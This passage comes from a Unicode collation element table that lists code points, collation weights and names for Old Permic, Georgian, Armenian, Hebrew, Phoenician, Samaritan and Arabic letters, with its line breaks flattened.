[.222A.0020.0002] # OLD PERMIC LETTER SHCHOOI -10367 ; [.222B.0020.0002] # OLD PERMIC LETTER YRY -10368 ; [.222C.0020.0002] # OLD PERMIC LETTER YERU -10369 ; [.222D.0020.0002] # OLD PERMIC LETTER O -1036A ; [.222E.0020.0002] # OLD PERMIC LETTER OO -1036B ; [.222F.0020.0002] # OLD PERMIC LETTER EF -1036C ; [.2230.0020.0002] # OLD PERMIC LETTER HA -1036D ; [.2231.0020.0002] # OLD PERMIC LETTER TSIU -1036E ; [.2232.0020.0002] # OLD PERMIC LETTER VER -1036F ; [.2233.0020.0002] # OLD PERMIC LETTER YER -10370 ; [.2234.0020.0002] # OLD PERMIC LETTER YERI -10371 ; [.2235.0020.0002] # OLD PERMIC LETTER YAT -10372 ; [.2236.0020.0002] # OLD PERMIC LETTER IE -10373 ; [.2237.0020.0002] # OLD PERMIC LETTER YU -10374 ; [.2238.0020.0002] # OLD PERMIC LETTER YA -10375 ; [.2239.0020.0002] # OLD PERMIC LETTER IA -10D0 ; [.223A.0020.0002] # GEORGIAN LETTER AN -2D00 ; [.223B.0020.0002] # GEORGIAN SMALL LETTER AN -10A0 ; [.223B.0020.0008] # GEORGIAN CAPITAL LETTER AN -10D1 ; [.223C.0020.0002] # GEORGIAN LETTER BAN -2D01 ; [.223D.0020.0002] # GEORGIAN SMALL LETTER BAN -10A1 ; [.223D.0020.0008] # GEORGIAN CAPITAL LETTER BAN -10D2 ; [.223E.0020.0002] # GEORGIAN LETTER GAN -2D02 ; [.223F.0020.0002] # GEORGIAN SMALL LETTER GAN -10A2 ; [.223F.0020.0008] # GEORGIAN CAPITAL LETTER GAN -10D3 ; [.2240.0020.0002] # GEORGIAN LETTER DON -2D03 ; [.2241.0020.0002] # GEORGIAN SMALL LETTER DON -10A3 ; [.2241.0020.0008] # GEORGIAN CAPITAL LETTER DON -10D4 ; [.2242.0020.0002] # GEORGIAN LETTER EN -2D04 ; [.2243.0020.0002] # GEORGIAN SMALL LETTER EN -10A4 ; [.2243.0020.0008] # GEORGIAN CAPITAL LETTER EN -10D5 ; [.2244.0020.0002] # GEORGIAN LETTER VIN -2D05 ; [.2245.0020.0002] # GEORGIAN SMALL LETTER VIN -10A5 ; [.2245.0020.0008] # GEORGIAN CAPITAL LETTER VIN -10D6 ; [.2246.0020.0002] # GEORGIAN LETTER ZEN -2D06 ; [.2247.0020.0002] # GEORGIAN SMALL LETTER ZEN -10A6 ; [.2247.0020.0008] # GEORGIAN CAPITAL LETTER ZEN -10F1 ; [.2248.0020.0002] # GEORGIAN LETTER HE -2D21 ; [.2249.0020.0002] # GEORGIAN SMALL LETTER HE -10C1 ; [.2249.0020.0008] # GEORGIAN CAPITAL LETTER HE -10D7 ; [.224A.0020.0002] # GEORGIAN LETTER TAN -2D07 ; [.224B.0020.0002] # GEORGIAN SMALL LETTER TAN -10A7 ; [.224B.0020.0008] # GEORGIAN CAPITAL LETTER TAN -10D8 ; [.224C.0020.0002] # GEORGIAN LETTER IN -2D08 ; [.224D.0020.0002] # GEORGIAN SMALL LETTER IN -10A8 ; [.224D.0020.0008] # GEORGIAN CAPITAL LETTER IN -10D9 ; [.224E.0020.0002] # GEORGIAN LETTER KAN -2D09 ; [.224F.0020.0002] # GEORGIAN SMALL LETTER KAN -10A9 ; [.224F.0020.0008] # GEORGIAN CAPITAL LETTER KAN -10DA ; [.2250.0020.0002] # GEORGIAN LETTER LAS -2D0A ; [.2251.0020.0002] # GEORGIAN SMALL LETTER LAS -10AA ; [.2251.0020.0008] # GEORGIAN CAPITAL LETTER LAS -10DB ; [.2252.0020.0002] # GEORGIAN LETTER MAN -2D0B ; [.2253.0020.0002] # GEORGIAN SMALL LETTER MAN -10AB ; [.2253.0020.0008] # GEORGIAN CAPITAL LETTER MAN -10DC ; [.2254.0020.0002] # GEORGIAN LETTER NAR -10FC ; [.2254.0020.0014] # MODIFIER LETTER GEORGIAN NAR -2D0C ; [.2255.0020.0002] # GEORGIAN SMALL LETTER NAR -10AC ; [.2255.0020.0008] # GEORGIAN CAPITAL LETTER NAR -10F2 ; [.2256.0020.0002] # GEORGIAN LETTER HIE -2D22 ; [.2257.0020.0002] # GEORGIAN SMALL LETTER HIE -10C2 ; [.2257.0020.0008] # GEORGIAN CAPITAL LETTER HIE -10DD ; [.2258.0020.0002] # GEORGIAN LETTER ON -2D0D ; [.2259.0020.0002] # GEORGIAN SMALL LETTER ON -10AD ; [.2259.0020.0008] # GEORGIAN CAPITAL LETTER ON -10DE ; [.225A.0020.0002] # GEORGIAN LETTER PAR -2D0E ; [.225B.0020.0002] # GEORGIAN SMALL LETTER PAR -10AE ; [.225B.0020.0008] # GEORGIAN CAPITAL LETTER PAR -10DF ; [.225C.0020.0002] # GEORGIAN LETTER ZHAR -2D0F ; [.225D.0020.0002] # GEORGIAN SMALL LETTER ZHAR -10AF ; [.225D.0020.0008] # GEORGIAN CAPITAL LETTER ZHAR -10E0 ; [.225E.0020.0002] # GEORGIAN LETTER RAE -2D10 ; [.225F.0020.0002] # GEORGIAN SMALL LETTER RAE -10B0 ; [.225F.0020.0008] # GEORGIAN CAPITAL LETTER RAE -10E1 ; [.2260.0020.0002] # GEORGIAN LETTER SAN -2D11 ; [.2261.0020.0002] # GEORGIAN SMALL LETTER SAN -10B1 ; [.2261.0020.0008] # GEORGIAN CAPITAL LETTER SAN -10E2 ; [.2262.0020.0002] # GEORGIAN LETTER TAR -2D12 ; [.2263.0020.0002] # GEORGIAN SMALL LETTER TAR -10B2 ; [.2263.0020.0008] # GEORGIAN CAPITAL LETTER TAR -10F3 ; [.2264.0020.0002] # GEORGIAN LETTER WE -2D23 ; [.2265.0020.0002] # GEORGIAN SMALL LETTER WE -10C3 ; [.2265.0020.0008] # GEORGIAN CAPITAL LETTER WE -10E3 ; [.2266.0020.0002] # GEORGIAN LETTER UN -2D13 ; [.2267.0020.0002] # GEORGIAN SMALL LETTER UN -10B3 ; [.2267.0020.0008] # GEORGIAN CAPITAL LETTER UN -10E4 ; [.2268.0020.0002] # GEORGIAN LETTER PHAR -2D14 ; [.2269.0020.0002] # GEORGIAN SMALL LETTER PHAR -10B4 ; [.2269.0020.0008] # GEORGIAN CAPITAL LETTER PHAR -10E5 ; [.226A.0020.0002] # GEORGIAN LETTER KHAR -2D15 ; [.226B.0020.0002] # GEORGIAN SMALL LETTER KHAR -10B5 ; [.226B.0020.0008] # GEORGIAN CAPITAL LETTER KHAR -10E6 ; [.226C.0020.0002] # GEORGIAN LETTER GHAN -2D16 ; [.226D.0020.0002] # GEORGIAN SMALL LETTER GHAN -10B6 ; [.226D.0020.0008] # GEORGIAN CAPITAL LETTER GHAN -10E7 ; [.226E.0020.0002] # GEORGIAN LETTER QAR -2D17 ; [.226F.0020.0002] # GEORGIAN SMALL LETTER QAR -10B7 ; [.226F.0020.0008] # GEORGIAN CAPITAL LETTER QAR -10E8 ; [.2270.0020.0002] # GEORGIAN LETTER SHIN -2D18 ; [.2271.0020.0002] # GEORGIAN SMALL LETTER SHIN -10B8 ; [.2271.0020.0008] # GEORGIAN CAPITAL LETTER SHIN -10E9 ; [.2272.0020.0002] # GEORGIAN LETTER CHIN -2D19 ; [.2273.0020.0002] # GEORGIAN SMALL LETTER CHIN -10B9 ; [.2273.0020.0008] # GEORGIAN CAPITAL LETTER CHIN -10EA ; [.2274.0020.0002] # GEORGIAN LETTER CAN -2D1A ; [.2275.0020.0002] # GEORGIAN SMALL LETTER CAN -10BA ; [.2275.0020.0008] # GEORGIAN CAPITAL LETTER CAN -10EB ; [.2276.0020.0002] # GEORGIAN LETTER JIL -2D1B ; [.2277.0020.0002] # GEORGIAN SMALL LETTER JIL -10BB ; [.2277.0020.0008] # GEORGIAN CAPITAL LETTER JIL -10EC ; [.2278.0020.0002] # GEORGIAN LETTER CIL -2D1C ; [.2279.0020.0002] # GEORGIAN SMALL LETTER CIL -10BC ; [.2279.0020.0008] # GEORGIAN CAPITAL LETTER CIL -10ED ; [.227A.0020.0002] # GEORGIAN LETTER CHAR -2D1D ; [.227B.0020.0002] # GEORGIAN SMALL LETTER CHAR -10BD ; [.227B.0020.0008] # GEORGIAN CAPITAL LETTER CHAR -10EE ; [.227C.0020.0002] # GEORGIAN LETTER XAN -2D1E ; [.227D.0020.0002] # GEORGIAN SMALL LETTER XAN -10BE ; [.227D.0020.0008] # GEORGIAN CAPITAL LETTER XAN -10F4 ; [.227E.0020.0002] # GEORGIAN LETTER HAR -2D24 ; [.227F.0020.0002] # GEORGIAN SMALL LETTER HAR -10C4 ; [.227F.0020.0008] # GEORGIAN CAPITAL LETTER HAR -10EF ; [.2280.0020.0002] # GEORGIAN LETTER JHAN -2D1F ; [.2281.0020.0002] # GEORGIAN SMALL LETTER JHAN -10BF ; [.2281.0020.0008] # GEORGIAN CAPITAL LETTER JHAN -10F0 ; [.2282.0020.0002] # GEORGIAN LETTER HAE -2D20 ; [.2283.0020.0002] # GEORGIAN SMALL LETTER HAE -10C0 ; [.2283.0020.0008] # GEORGIAN CAPITAL LETTER HAE -10F5 ; [.2284.0020.0002] # GEORGIAN LETTER HOE -2D25 ; [.2285.0020.0002] # GEORGIAN SMALL LETTER HOE -10C5 ; [.2285.0020.0008] # GEORGIAN CAPITAL LETTER HOE -10F6 ; [.2286.0020.0002] # GEORGIAN LETTER FI -10F7 ; [.2287.0020.0002] # GEORGIAN LETTER YN -2D27 ; [.2288.0020.0002] # GEORGIAN SMALL LETTER YN -10C7 ; [.2288.0020.0008] # GEORGIAN CAPITAL LETTER YN -10F8 ; [.2289.0020.0002] # GEORGIAN LETTER ELIFI -10F9 ; [.228A.0020.0002] # GEORGIAN LETTER TURNED GAN -10FA ; [.228B.0020.0002] # GEORGIAN LETTER AIN -10FD ; [.228C.0020.0002] # GEORGIAN LETTER AEN -2D2D ; [.228D.0020.0002] # GEORGIAN SMALL LETTER AEN -10CD ; [.228D.0020.0008] # GEORGIAN CAPITAL LETTER AEN -10FE ; [.228E.0020.0002] # GEORGIAN LETTER HARD SIGN -10FF ; [.228F.0020.0002] # GEORGIAN LETTER LABIAL SIGN -0561 ; [.2290.0020.0002] # ARMENIAN SMALL LETTER AYB -0531 ; [.2290.0020.0008] # ARMENIAN CAPITAL LETTER AYB -0562 ; [.2291.0020.0002] # ARMENIAN SMALL LETTER BEN -0532 ; [.2291.0020.0008] # ARMENIAN CAPITAL LETTER BEN -0563 ; [.2292.0020.0002] # ARMENIAN SMALL LETTER GIM -0533 ; [.2292.0020.0008] # ARMENIAN CAPITAL LETTER GIM -0564 ; [.2293.0020.0002] # ARMENIAN SMALL LETTER DA -0534 ; [.2293.0020.0008] # ARMENIAN CAPITAL LETTER DA -0565 ; [.2294.0020.0002] # ARMENIAN SMALL LETTER ECH -0535 ; [.2294.0020.0008] # ARMENIAN CAPITAL LETTER ECH -0587 ; [.2294.0020.0004][.22B1.0020.0004] # ARMENIAN SMALL LIGATURE ECH YIWN -0566 ; [.2295.0020.0002] # ARMENIAN SMALL LETTER ZA -0536 ; [.2295.0020.0008] # ARMENIAN CAPITAL LETTER ZA -0567 ; [.2296.0020.0002] # ARMENIAN SMALL LETTER EH -0537 ; [.2296.0020.0008] # ARMENIAN CAPITAL LETTER EH -0568 ; [.2297.0020.0002] # ARMENIAN SMALL LETTER ET -0538 ; [.2297.0020.0008] # ARMENIAN CAPITAL LETTER ET -0569 ; [.2298.0020.0002] # ARMENIAN SMALL LETTER TO -0539 ; [.2298.0020.0008] # ARMENIAN CAPITAL LETTER TO -056A ; [.2299.0020.0002] # ARMENIAN SMALL LETTER ZHE -053A ; [.2299.0020.0008] # ARMENIAN CAPITAL LETTER ZHE -056B ; [.229A.0020.0002] # ARMENIAN SMALL LETTER INI -053B ; [.229A.0020.0008] # ARMENIAN CAPITAL LETTER INI -056C ; [.229B.0020.0002] # ARMENIAN SMALL LETTER LIWN -053C ; [.229B.0020.0008] # ARMENIAN CAPITAL LETTER LIWN -056D ; [.229C.0020.0002] # ARMENIAN SMALL LETTER XEH -053D ; [.229C.0020.0008] # ARMENIAN CAPITAL LETTER XEH -056E ; [.229D.0020.0002] # ARMENIAN SMALL LETTER CA -053E ; [.229D.0020.0008] # ARMENIAN CAPITAL LETTER CA -056F ; [.229E.0020.0002] # ARMENIAN SMALL LETTER KEN -053F ; [.229E.0020.0008] # ARMENIAN CAPITAL LETTER KEN -0570 ; [.229F.0020.0002] # ARMENIAN SMALL LETTER HO -0540 ; [.229F.0020.0008] # ARMENIAN CAPITAL LETTER HO -0571 ; [.22A0.0020.0002] # ARMENIAN SMALL LETTER JA -0541 ; [.22A0.0020.0008] # ARMENIAN CAPITAL LETTER JA -0572 ; [.22A1.0020.0002] # ARMENIAN SMALL LETTER GHAD -0542 ; [.22A1.0020.0008] # ARMENIAN CAPITAL LETTER GHAD -0573 ; [.22A2.0020.0002] # ARMENIAN SMALL LETTER CHEH -0543 ; [.22A2.0020.0008] # ARMENIAN CAPITAL LETTER CHEH -0574 ; [.22A3.0020.0002] # ARMENIAN SMALL LETTER MEN -0544 ; [.22A3.0020.0008] # ARMENIAN CAPITAL LETTER MEN -FB14 ; [.22A3.0020.0004][.2294.0020.0004] # ARMENIAN SMALL LIGATURE MEN ECH -FB15 ; [.22A3.0020.0004][.229A.0020.0004] # ARMENIAN SMALL LIGATURE MEN INI -FB17 ; [.22A3.0020.0004][.229C.0020.0004] # ARMENIAN SMALL LIGATURE MEN XEH -FB13 ; [.22A3.0020.0004][.22A5.0020.0004] # ARMENIAN SMALL LIGATURE MEN NOW -0575 ; [.22A4.0020.0002] # ARMENIAN SMALL LETTER YI -0545 ; [.22A4.0020.0008] # ARMENIAN CAPITAL LETTER YI -0576 ; [.22A5.0020.0002] # ARMENIAN SMALL LETTER NOW -0546 ; [.22A5.0020.0008] # ARMENIAN CAPITAL LETTER NOW -0577 ; [.22A6.0020.0002] # ARMENIAN SMALL LETTER SHA -0547 ; [.22A6.0020.0008] # ARMENIAN CAPITAL LETTER SHA -0578 ; [.22A7.0020.0002] # ARMENIAN SMALL LETTER VO -0548 ; [.22A7.0020.0008] # ARMENIAN CAPITAL LETTER VO -0579 ; [.22A8.0020.0002] # ARMENIAN SMALL LETTER CHA -0549 ; [.22A8.0020.0008] # ARMENIAN CAPITAL LETTER CHA -057A ; [.22A9.0020.0002] # ARMENIAN SMALL LETTER PEH -054A ; [.22A9.0020.0008] # ARMENIAN CAPITAL LETTER PEH -057B ; [.22AA.0020.0002] # ARMENIAN SMALL LETTER JHEH -054B ; [.22AA.0020.0008] # ARMENIAN CAPITAL LETTER JHEH -057C ; [.22AB.0020.0002] # ARMENIAN SMALL LETTER RA -054C ; [.22AB.0020.0008] # ARMENIAN CAPITAL LETTER RA -057D ; [.22AC.0020.0002] # ARMENIAN SMALL LETTER SEH -054D ; [.22AC.0020.0008] # ARMENIAN CAPITAL LETTER SEH -057E ; [.22AD.0020.0002] # ARMENIAN SMALL LETTER VEW -054E ; [.22AD.0020.0008] # ARMENIAN CAPITAL LETTER VEW -FB16 ; [.22AD.0020.0004][.22A5.0020.0004] # ARMENIAN SMALL LIGATURE VEW NOW -057F ; [.22AE.0020.0002] # ARMENIAN SMALL LETTER TIWN -054F ; [.22AE.0020.0008] # ARMENIAN CAPITAL LETTER TIWN -0580 ; [.22AF.0020.0002] # ARMENIAN SMALL LETTER REH -0550 ; [.22AF.0020.0008] # ARMENIAN CAPITAL LETTER REH -0581 ; [.22B0.0020.0002] # ARMENIAN SMALL LETTER CO -0551 ; [.22B0.0020.0008] # ARMENIAN CAPITAL LETTER CO -0582 ; [.22B1.0020.0002] # ARMENIAN SMALL LETTER YIWN -0552 ; [.22B1.0020.0008] # ARMENIAN CAPITAL LETTER YIWN -0583 ; [.22B2.0020.0002] # ARMENIAN SMALL LETTER PIWR -0553 ; [.22B2.0020.0008] # ARMENIAN CAPITAL LETTER PIWR -0584 ; [.22B3.0020.0002] # ARMENIAN SMALL LETTER KEH -0554 ; [.22B3.0020.0008] # ARMENIAN CAPITAL LETTER KEH -0585 ; [.22B4.0020.0002] # ARMENIAN SMALL LETTER OH -0555 ; [.22B4.0020.0008] # ARMENIAN CAPITAL LETTER OH -0586 ; [.22B5.0020.0002] # ARMENIAN SMALL LETTER FEH -0556 ; [.22B5.0020.0008] # ARMENIAN CAPITAL LETTER FEH -0559 ; [.22B6.0020.0002] # ARMENIAN MODIFIER LETTER LEFT HALF RING -05D0 ; [.22B7.0020.0002] # HEBREW LETTER ALEF -2135 ; [.22B7.0020.0004] # ALEF SYMBOL -FB21 ; [.22B7.0020.0005] # HEBREW LETTER WIDE ALEF -FB2E ; [.22B7.0020.0002][.0000.0059.0002] # HEBREW LETTER ALEF WITH PATAH -FB2F ; [.22B7.0020.0002][.0000.005A.0002] # HEBREW LETTER ALEF WITH QAMATS -FB30 ; [.22B7.0020.0002][.0000.005F.0002] # HEBREW LETTER ALEF WITH MAPIQ -FB4F ; [.22B7.0020.0004][.22C2.0020.0004] # HEBREW LIGATURE ALEF LAMED -05D1 ; [.22B8.0020.0002] # HEBREW LETTER BET -2136 ; [.22B8.0020.0004] # BET SYMBOL -FB31 ; [.22B8.0020.0002][.0000.005F.0002] # HEBREW LETTER BET WITH DAGESH -FB4C ; [.22B8.0020.0002][.0000.0060.0002] # HEBREW LETTER BET WITH RAFE -05D2 ; [.22B9.0020.0002] # HEBREW LETTER GIMEL -2137 ; [.22B9.0020.0004] # GIMEL SYMBOL -FB32 ; [.22B9.0020.0002][.0000.005F.0002] # HEBREW LETTER GIMEL WITH DAGESH -05D3 ; [.22BA.0020.0002] # HEBREW LETTER DALET -2138 ; [.22BA.0020.0004] # DALET SYMBOL -FB22 ; [.22BA.0020.0005] # HEBREW LETTER WIDE DALET -FB33 ; [.22BA.0020.0002][.0000.005F.0002] # HEBREW LETTER DALET WITH DAGESH -05D4 ; [.22BB.0020.0002] # HEBREW LETTER HE -FB23 ; [.22BB.0020.0005] # HEBREW LETTER WIDE HE -FB34 ; [.22BB.0020.0002][.0000.005F.0002] # HEBREW LETTER HE WITH MAPIQ -05D5 ; [.22BC.0020.0002] # HEBREW LETTER VAV -FB4B ; [.22BC.0020.0002][.0000.005B.0002] # HEBREW LETTER VAV WITH HOLAM -FB35 ; [.22BC.0020.0002][.0000.005F.0002] # HEBREW LETTER VAV WITH DAGESH -05F0 ; [.22BC.0020.0004][.22BC.0020.0004] # HEBREW LIGATURE YIDDISH DOUBLE VAV -05F1 ; [.22BC.0020.0004][.22C0.0020.0004] # HEBREW LIGATURE YIDDISH VAV YOD -05D6 ; [.22BD.0020.0002] # HEBREW LETTER ZAYIN -FB36 ; [.22BD.0020.0002][.0000.005F.0002] # HEBREW LETTER ZAYIN WITH DAGESH -05D7 ; [.22BE.0020.0002] # HEBREW LETTER HET -05D8 ; [.22BF.0020.0002] # HEBREW LETTER TET -FB38 ; [.22BF.0020.0002][.0000.005F.0002] # HEBREW LETTER TET WITH DAGESH -05D9 ; [.22C0.0020.0002] # HEBREW LETTER YOD -FB1D ; [.22C0.0020.0002][.0000.0056.0002] # HEBREW LETTER YOD WITH HIRIQ -FB39 ; [.22C0.0020.0002][.0000.005F.0002] # HEBREW LETTER YOD WITH DAGESH -05F2 ; [.22C0.0020.0004][.22C0.0020.0004] # HEBREW LIGATURE YIDDISH DOUBLE YOD -FB1F ; [.22C0.0020.0004][.22C0.0020.0004][.0000.0059.0002] # HEBREW LIGATURE YIDDISH YOD YOD PATAH -05DB ; [.22C1.0020.0002] # HEBREW LETTER KAF -FB24 ; [.22C1.0020.0005] # HEBREW LETTER WIDE KAF -05DA ; [.22C1.0020.0019] # HEBREW LETTER FINAL KAF -FB3B ; [.22C1.0020.0002][.0000.005F.0002] # HEBREW LETTER KAF WITH DAGESH -FB3A ; [.22C1.0020.0019][.0000.005F.0002] # HEBREW LETTER FINAL KAF WITH DAGESH -FB4D ; [.22C1.0020.0002][.0000.0060.0002] # HEBREW LETTER KAF WITH RAFE -05DC ; [.22C2.0020.0002] # HEBREW LETTER LAMED -FB25 ; [.22C2.0020.0005] # HEBREW LETTER WIDE LAMED -FB3C ; [.22C2.0020.0002][.0000.005F.0002] # HEBREW LETTER LAMED WITH DAGESH -05DE ; [.22C3.0020.0002] # HEBREW LETTER MEM -FB26 ; [.22C3.0020.0005] # HEBREW LETTER WIDE FINAL MEM -05DD ; [.22C3.0020.0019] # HEBREW LETTER FINAL MEM -FB3E ; [.22C3.0020.0002][.0000.005F.0002] # HEBREW LETTER MEM WITH DAGESH -05E0 ; [.22C4.0020.0002] # HEBREW LETTER NUN -05DF ; [.22C4.0020.0019] # HEBREW LETTER FINAL NUN -FB40 ; [.22C4.0020.0002][.0000.005F.0002] # HEBREW LETTER NUN WITH DAGESH -05E1 ; [.22C5.0020.0002] # HEBREW LETTER SAMEKH -FB41 ; [.22C5.0020.0002][.0000.005F.0002] # HEBREW LETTER SAMEKH WITH DAGESH -05E2 ; [.22C6.0020.0002] # HEBREW LETTER AYIN -FB20 ; [.22C6.0020.0005] # HEBREW LETTER ALTERNATIVE AYIN -05E4 ; [.22C7.0020.0002] # HEBREW LETTER PE -05E3 ; [.22C7.0020.0019] # HEBREW LETTER FINAL PE -FB44 ; [.22C7.0020.0002][.0000.005F.0002] # HEBREW LETTER PE WITH DAGESH -FB43 ; [.22C7.0020.0019][.0000.005F.0002] # HEBREW LETTER FINAL PE WITH DAGESH -FB4E ; [.22C7.0020.0002][.0000.0060.0002] # HEBREW LETTER PE WITH RAFE -05E6 ; [.22C8.0020.0002] # HEBREW LETTER TSADI -05E5 ; [.22C8.0020.0019] # HEBREW LETTER FINAL TSADI -FB46 ; [.22C8.0020.0002][.0000.005F.0002] # HEBREW LETTER TSADI WITH DAGESH -05E7 ; [.22C9.0020.0002] # HEBREW LETTER QOF -FB47 ; [.22C9.0020.0002][.0000.005F.0002] # HEBREW LETTER QOF WITH DAGESH -05E8 ; [.22CA.0020.0002] # HEBREW LETTER RESH -FB27 ; [.22CA.0020.0005] # HEBREW LETTER WIDE RESH -FB48 ; [.22CA.0020.0002][.0000.005F.0002] # HEBREW LETTER RESH WITH DAGESH -05E9 ; [.22CB.0020.0002] # HEBREW LETTER SHIN -FB2B ; [.22CB.0020.0002][.0000.005D.0002] # HEBREW LETTER SHIN WITH SIN DOT -FB2A ; [.22CB.0020.0002][.0000.005E.0002] # HEBREW LETTER SHIN WITH SHIN DOT -FB49 ; [.22CB.0020.0002][.0000.005F.0002] # HEBREW LETTER SHIN WITH DAGESH -FB2D ; [.22CB.0020.0002][.0000.005F.0002][.0000.005D.0002] # HEBREW LETTER SHIN WITH DAGESH AND SIN DOT -FB2C ; [.22CB.0020.0002][.0000.005F.0002][.0000.005E.0002] # HEBREW LETTER SHIN WITH DAGESH AND SHIN DOT -05EA ; [.22CC.0020.0002] # HEBREW LETTER TAV -FB28 ; [.22CC.0020.0005] # HEBREW LETTER WIDE TAV -FB4A ; [.22CC.0020.0002][.0000.005F.0002] # HEBREW LETTER TAV WITH DAGESH -10900 ; [.22CD.0020.0002] # PHOENICIAN LETTER ALF -10901 ; [.22CE.0020.0002] # PHOENICIAN LETTER BET -10902 ; [.22CF.0020.0002] # PHOENICIAN LETTER GAML -10903 ; [.22D0.0020.0002] # PHOENICIAN LETTER DELT -10904 ; [.22D1.0020.0002] # PHOENICIAN LETTER HE -10905 ; [.22D2.0020.0002] # PHOENICIAN LETTER WAU -10906 ; [.22D3.0020.0002] # PHOENICIAN LETTER ZAI -10907 ; [.22D4.0020.0002] # PHOENICIAN LETTER HET -10908 ; [.22D5.0020.0002] # PHOENICIAN LETTER TET -10909 ; [.22D6.0020.0002] # PHOENICIAN LETTER YOD -1090A ; [.22D7.0020.0002] # PHOENICIAN LETTER KAF -1090B ; [.22D8.0020.0002] # PHOENICIAN LETTER LAMD -1090C ; [.22D9.0020.0002] # PHOENICIAN LETTER MEM -1090D ; [.22DA.0020.0002] # PHOENICIAN LETTER NUN -1090E ; [.22DB.0020.0002] # PHOENICIAN LETTER SEMK -1090F ; [.22DC.0020.0002] # PHOENICIAN LETTER AIN -10910 ; [.22DD.0020.0002] # PHOENICIAN LETTER PE -10911 ; [.22DE.0020.0002] # PHOENICIAN LETTER SADE -10912 ; [.22DF.0020.0002] # PHOENICIAN LETTER QOF -10913 ; [.22E0.0020.0002] # PHOENICIAN LETTER ROSH -10914 ; [.22E1.0020.0002] # PHOENICIAN LETTER SHIN -10915 ; [.22E2.0020.0002] # PHOENICIAN LETTER TAU -0800 ; [.22E3.0020.0002] # SAMARITAN LETTER ALAF -0801 ; [.22E4.0020.0002] # SAMARITAN LETTER BIT -0802 ; [.22E5.0020.0002] # SAMARITAN LETTER GAMAN -0803 ; [.22E6.0020.0002] # SAMARITAN LETTER DALAT -0804 ; [.22E7.0020.0002] # SAMARITAN LETTER IY -0805 ; [.22E8.0020.0002] # SAMARITAN LETTER BAA -0806 ; [.22E9.0020.0002] # SAMARITAN LETTER ZEN -0807 ; [.22EA.0020.0002] # SAMARITAN LETTER IT -0808 ; [.22EB.0020.0002] # SAMARITAN LETTER TIT -0809 ; [.22EC.0020.0002] # SAMARITAN LETTER YUT -080A ; [.22ED.0020.0002] # SAMARITAN LETTER KAAF -080B ; [.22EE.0020.0002] # SAMARITAN LETTER LABAT -080C ; [.22EF.0020.0002] # SAMARITAN LETTER MIM -080D ; [.22F0.0020.0002] # SAMARITAN LETTER NUN -080E ; [.22F1.0020.0002] # SAMARITAN LETTER SINGAAT -080F ; [.22F2.0020.0002] # SAMARITAN LETTER IN -0810 ; [.22F3.0020.0002] # SAMARITAN LETTER FI -0811 ; [.22F4.0020.0002] # SAMARITAN LETTER TSAADIY -0812 ; [.22F5.0020.0002] # SAMARITAN LETTER QUF -0813 ; [.22F6.0020.0002] # SAMARITAN LETTER RISH -0814 ; [.22F7.0020.0002] # SAMARITAN LETTER SHAN -0815 ; [.22F8.0020.0002] # SAMARITAN LETTER TAAF -0816 ; [.22F9.0020.0002] # SAMARITAN MARK IN -0817 ; [.22FA.0020.0002] # SAMARITAN MARK IN-ALAF -081A ; [.22FB.0020.0002] # SAMARITAN MODIFIER LETTER EPENTHETIC YUT -081B ; [.22FC.0020.0002] # SAMARITAN MARK EPENTHETIC YUT -0621 ; [.22FD.0020.0002] # ARABIC LETTER HAMZA -0674 ; [.22FD.0020.0004] # ARABIC LETTER HIGH HAMZA -FE80 ; [.22FD.0020.001A] # ARABIC LETTER HAMZA ISOLATED FORM -06FD ; [.22FD.0020.0004][.0000.0111.0004] # ARABIC SIGN SINDHI AMPERSAND -0622 ; [.22FE.0020.0002] # ARABIC LETTER ALEF WITH MADDA ABOVE -0627 0653 ; [.22FE.0020.0002] # ARABIC LETTER ALEF WITH MADDA ABOVE -FE82 ; [.22FE.0020.0019] # ARABIC LETTER ALEF WITH MADDA ABOVE FINAL FORM -FE81 ; [.22FE.0020.001A] # ARABIC LETTER ALEF WITH MADDA ABOVE ISOLATED FORM -0623 ; [.22FF.0020.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE -0627 0654 ; [.22FF.0020.0002] # ARABIC LETTER ALEF WITH HAMZA ABOVE -FE84 ; [.22FF.0020.0019] # ARABIC LETTER ALEF WITH HAMZA ABOVE FINAL FORM -FE83 ; [.22FF.0020.001A] # ARABIC LETTER ALEF WITH HAMZA ABOVE ISOLATED FORM -0672 ; [.2300.0020.0002] # ARABIC LETTER ALEF WITH WAVY HAMZA ABOVE -0671 ; [.2301.0020.0002] # ARABIC LETTER ALEF WASLA -FB51 ; [.2301.0020.0019] # ARABIC LETTER ALEF WASLA FINAL FORM -FB50 ; [.2301.0020.001A] # ARABIC LETTER ALEF WASLA ISOLATED FORM -0624 ; [.2302.0020.0002] # ARABIC LETTER WAW WITH HAMZA ABOVE -0648 0654 ; [.2302.0020.0002] # ARABIC LETTER WAW WITH HAMZA ABOVE -FE86 ; [.2302.0020.0019] # ARABIC LETTER WAW WITH HAMZA ABOVE FINAL FORM -FE85 ; [.2302.0020.001A] # ARABIC LETTER WAW WITH HAMZA ABOVE ISOLATED FORM -0625 ; [.2303.0020.0002] # ARABIC LETTER ALEF WITH HAMZA BELOW -0627 0655 ; [.2303.0020.0002] # ARABIC LETTER ALEF WITH HAMZA BELOW -FE88 ; [.2303.0020.0019] # ARABIC LETTER ALEF WITH HAMZA BELOW FINAL FORM -FE87 ; [.2303.0020.001A] # ARABIC LETTER ALEF WITH HAMZA BELOW ISOLATED FORM -0673 ; [.2304.0020.0002] # ARABIC LETTER ALEF WITH WAVY HAMZA BELOW -0773 ; [.2305.0020.0002] # ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT TWO ABOVE -0774 ; [.2306.0020.0002] # ARABIC LETTER ALEF WITH EXTENDED ARABIC-INDIC DIGIT THREE ABOVE -0626 ; [.2307.0020.0002] # ARABIC LETTER YEH WITH HAMZA ABOVE -064A 0654 ; [.2307.0020.0002] # ARABIC LETTER YEH WITH HAMZA ABOVE -FE8B ; [.2307.0020.0017] # ARABIC LETTER YEH WITH HAMZA ABOVE INITIAL FORM -FE8C ; [.2307.0020.0018] # ARABIC LETTER YEH WITH HAMZA ABOVE MEDIAL FORM -FE8A ; [.2307.0020.0019] # ARABIC LETTER YEH WITH HAMZA ABOVE FINAL FORM -FE89 ; [.2307.0020.001A] # ARABIC LETTER YEH WITH HAMZA ABOVE ISOLATED FORM -FBEB ; [.2307.0020.0019][.230B.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF FINAL FORM -FBEA ; [.2307.0020.001A][.230B.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF ISOLATED FORM -FC97 ; 